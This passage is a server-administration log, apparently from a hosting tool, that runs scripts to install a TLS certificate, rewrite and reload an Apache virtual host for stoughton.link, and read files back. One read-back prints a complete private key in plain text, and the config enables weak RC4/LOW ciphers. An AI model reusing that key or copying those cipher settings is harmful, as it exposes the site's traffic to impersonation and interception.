MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-29 14:31:08: 

chmod 755 /tmp/pkp481647; /tmp/pkp481647; rm /tmp/pkp481647

2026-04-29 14:31:08: 


dir=/etc/ssl/certs


2026-04-29 14:31:08: 

PUT: /tmp/pkp573265

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 14:31:08: 

chmod 755 /tmp/pkp573265; /tmp/pkp573265; rm /tmp/pkp573265

2026-04-29 14:31:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>






2026-04-29 14:31:08: 

PUT: /tmp/pkp110766

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi


2026-04-29 14:31:08: 

chmod 755 /tmp/pkp110766; /tmp/pkp110766; rm /tmp/pkp110766

2026-04-29 14:31:08: 




2026-04-29 14:31:08: 

PUT: /tmp/pkp363227

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-29 14:31:08: 

chmod 755 /tmp/pkp363227; /tmp/pkp363227; rm /tmp/pkp363227

2026-04-29 14:31:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 14:31:08: Establishing a connection
2026-04-29 14:31:09: 

PUT: /tmp/pkp849694

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-29 14:31:09: 

chmod 755 /tmp/pkp849694; /tmp/pkp849694; rm /tmp/pkp849694

2026-04-29 14:31:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 14:31:09: 

PUT: /tmp/pkp518014

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 14:31:09: 

chmod 755 /tmp/pkp518014; /tmp/pkp518014; rm /tmp/pkp518014

2026-04-29 14:31:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2026-04-29 14:31:09: 

PUT: /tmp/pkp422353

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 14:31:09: 

chmod 755 /tmp/pkp422353; /tmp/pkp422353; rm /tmp/pkp422353

2026-04-29 14:31:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt	5365
9c:ce:7d:42:b2:d3:49:c6:cb:25:77:ab:3b:5b:3c:cc

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBo4S3CoRnKGWpubTIuWCNTfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTMzMjM2WhcNMjYwNzI4MTMzMjM1WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMhaeti7rItaTD4WgKtp7u0fve+NCT5TdhhSTIMgoluuBvb3gKNVokau5Ii3bKS6
Bo3G9RrVQd17QnIeeMsd1qtoXlyxLT/tqfWJyw+zuT2j2jramkxLVdB4ylbVz+8n
XabWuOmHbKHeQoyvNLzkEWYu9Ks5/Ly9AnvAayCmrdEFS/+R9dpQdbSyaJohYCEv
HNJ5IALK5cMMvt369pudeO5SEXMr9Dkih1zTlyr9taowC5fbof90NjZaF6sBYqzT
YhQgOHbwst5OZ+1t/4CImGaOHiOmxsDGVcsqTGHHtKiYDqdV25lNzRPMRf9Bz225
zvji/mtPpNi/bQeiEZ+kGz8CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRPd2ZT
Eo/bTxSV6REti94Kcqq5TjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTE0LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB1AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZDlLNAAABndmmlvsAAAQD
AEYwRAIgZtZtZUsptHZ2H51Fd9jtkmi2PoBrRnKouegj5bakTXwCIHU6jETJ7UYY
W1IqSrhZGD2Vf/5SIdhq6NJXGJF5cZlPAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGd2aaZ6gAIAAAFAAjYdaQEAwBHMEUCIQCi/SZiSWpZZJmE
o0GvRfJmC83pskSz+wI8hV4bNqR9PAIgWbR0ElUnx0U7goaSjITBB3Lrdo8ZXBpl
aLz4zsIw4EwwDQYJKoZIhvcNAQELBQADggEBAJLKr+tO5ixR9T6n4zhmbJEZvljv
gljE3FOMPU/B8e/bnyhca9TKt5a85oF3RU4dkT3r4vxWnC+6OGFfTz2+n2ntjEJn
S5gAr31vX/TxTvZJJdttb419LQm+H0RlhIDEbBset9fXQrs2G/Grb1YBjuWqvZ9Z
f5gosdXGFWWMANkqWdDjkR5g45sD4um3g8GweH/dH2IsPc2J/7r0/JR0cbp23c67
FtoMP25euW45zARjay6+RJL5qKnUSfDpNEuGvys6gQ2H6pJrJdM95u1IJy2jMQyB
8wfbH4qXBUtjeydPAKl7aak8j7EsfEcYBa0JN/4NVC9rIcrcPBGAjlvtl5M=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIWnrYu6yLWkw+
FoCrae7tH73vjQk+U3YYUkyDIKJbrgb294CjVaJGruSIt2ykugaNxvUa1UHde0Jy
HnjLHdaraF5csS0/7an1icsPs7k9o9o62ppMS1XQeMpW1c/vJ12m1rjph2yh3kKM
rzS85BFmLvSrOfy8vQJ7wGsgpq3RBUv/kfXaUHW0smiaIWAhLxzSeSACyuXDDL7d
+vabnXjuUhFzK/Q5Iodc05cq/bWqMAuX26H/dDY2WherAWKs02IUIDh28LLeTmft
bf+AiJhmjh4jpsbAxlXLKkxhx7SomA6nVduZTc0TzEX/Qc9tuc744v5rT6TYv20H
ohGfpBs/AgMBAAECggEAQ/Rwa1eIaAGaD4sJXFqDV/kmrnwLMREU4p3zZpxohSkL
IrQC9SNj9Y53ZCm2l06jT242j0Ha47jdaiCMvvPhbmTpcI4Ft4OwXGA+uBYw08fi
Cok/wXXh5uI5WueNbePPv3lf4ZF11pcwwk/g1tqSTjLJ+NOjtg5zq66xhzMRjG2i
TZpF6GhBISrseQ5zpL7ABpouNKXzj35ltm072ENk4eGany5vHs6xhTKov4SkdSHR
27v9PCh9bICdt9DAoeGcbdjrKupK67VNEi5nU5uroICjxhuG7/2jA7r1HKnIym8W
Qet9d9/o8pwUowxdEB1wxstkMf5Z7YZmYJw2JmhUEQKBgQDpKzUYCfcApI4Se61t
HcKk+pxEc7NvypGuWMnLL4gF5Zohg13UU6sLj4cpTQ03NR2P0asDf4J5idAyj84V
iMlDRrsctKAuUrx6plJuZOpAHnUiNgcczwEvOuT+ZD5UYr5JZspN1h+/1Dk35XZQ
jfwsZnKbpUcxUGNB5gWrOikA8QKBgQDb+LJ80tFi8T3szGz/IepfMX1LPSL8lyuj
DMSQRj4l2fXujqS8Vkl0AaDqqQ5IRgvPRRyqrswuEWVmzwL+tFX3Tl3zWr029m5t
1WomuMgnWFDcM9Z7qI0yS343aom+wPRfOx+nlxzKSizeskPeCvl+nTGXRKo0dPTQ
BDUpLvvfLwKBgQDDK9iIY6buUc9eJ0oWYOfRgriVD6ft9kiVAFsBCas5DGREkxpS
JSqyRZSkfIuIX5x8Csuz5OKI61NrTzX4joOxHZ53u7WssLJ1k4zCPRRbUWNInKK9
eYSLTSfqzGvj5LdU54aFOqtevbybTiYH7aFcZPCf2evKmnhK68ho+AjkcQKBgQDX
b9mPuwHrv44Ar65IqjTbCqNF3xi2/m90f3q8Oq9/btsYy4e4FWJXRYkOiog8bK4A
UBXlbND4hX0klba/MmvHjG8jekk63VwGIjCWv/732d1H7VUxQ0EWcy2opKVHt78e
zc8Q2kUOMluDuGATxffY86ewGUYBnlJusNBIB4YTbQKBgHqdbCDM7MIkURRQj2/+
JKbcI8qxmz5hh69s8p+MrJZPfhcWke3JvHBweixJcZPo24NrUvHaEeiNfOQvX/98
2ysyfx8TONkT++7+xI1OoNLWMnv6En+5VF3ihG0FQY33uQxGX9DFeEtiAr06f4Y6
IZMSPKwqu7iRWHiLhqT76vmg
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
